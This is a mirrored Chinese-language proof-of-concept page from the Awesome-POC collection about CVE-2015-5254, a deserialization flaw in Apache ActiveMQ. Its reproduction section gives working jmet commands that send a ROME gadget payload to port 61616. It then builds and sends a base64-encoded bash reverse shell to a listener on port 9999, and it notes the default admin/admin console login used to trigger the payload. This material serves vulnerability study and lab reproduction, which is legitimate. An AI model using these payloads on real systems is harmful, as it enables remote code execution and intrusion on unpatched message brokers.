mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
115 lines
3.1 KiB
Markdown
115 lines
3.1 KiB
Markdown
# Apache ActiveMQ 反序列化漏洞 CVE-2015-5254
|
||
|
||
## 漏洞描述
|
||
|
||
Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务，集群，Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务（JMS）ObjectMessage对象利用该漏洞执行任意代码。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Apache ActiveMQ 5.13.0之前5.x版本
|
||
```
|
||
|
||
## 环境搭建
|
||
|
||
### 安装jdk
|
||
|
||
查看java版本，如果是java 11需要切换到java 8
|
||
|
||
```
|
||
java -version
|
||
```
|
||
|
||
安装java 8，默认安装路径/usr/lib/jvm/java-8-openjdk-amd64
|
||
|
||
```
|
||
sudo apt install openjdk-8-jdk
|
||
```
|
||
|
||
配置环境变量，添加jdk安装路径
|
||
|
||
```
|
||
sudo vim ~/.bashrc
|
||
|
||
# 在最后一行添加
|
||
export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
|
||
```
|
||
|
||
### 切换jdk版本
|
||
|
||
采用update-alternatives命令进行版本切换
|
||
|
||
/usr/bin/java和/usr/lib/jvm/java-8-openjdk-amd64/bin/java两个路径一定要和自己的路径吻合
|
||
|
||
```
|
||
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/java-8-openjdk-amd64/bin/java 1070
|
||
```
|
||
|
||
切换jdk
|
||
|
||
```
|
||
sudo update-alternatives --config java
|
||
```
|
||
|
||
|
||
|
||
再次查看java版本，切换成功
|
||
|
||
|
||
|
||
## 漏洞复现
|
||
|
||
Vulhub搭建及运行漏洞环境：
|
||
|
||
```
|
||
docker-compose up -d
|
||
```
|
||
|
||
下载 jmet [下载链接](https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar)
|
||
|
||
```shell
|
||
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
|
||
mkdir external
|
||
```
|
||
|
||
对目标发送一个生成**/tmp/awesome_poc**的 payload
|
||
|
||
```plain
|
||
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/awesome_poc" -Yp ROME 192.168.174.128 61616
|
||
```
|
||
|
||
|
||
|
||
访问 http://192.168.174.128:8161/admin/browse.jsp?JMSDestination=event 可以看到多了一条消息队列，ID为kali-38087-1645421794512-1:1:1:1:1
|
||
|
||
默认账号密码：admin/admin
|
||
|
||
|
||
|
||
点击这个信息触发文件创建，成功执行命令 touch /tmp/awesome_poc
|
||
|
||
|
||
|
||
也可以创建一个反弹shell的payload
|
||
|
||
```shell
|
||
bash -i >& /dev/tcp/192.168.174.128/9999 0>&1 (base64编码)
|
||
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx
|
||
|
||
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
|
||
|
||
# 发送payload
|
||
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.174.128 61616
|
||
```
|
||
|
||
|
||
|
||
查看消息队列，ID为kali-38435-1645422155171-1:1:1:1:1
|
||
|
||
|
||
|
||
监听9999端口，点击消息队列会触发命令执行，反弹Shell
|
||
|
||
|
||
|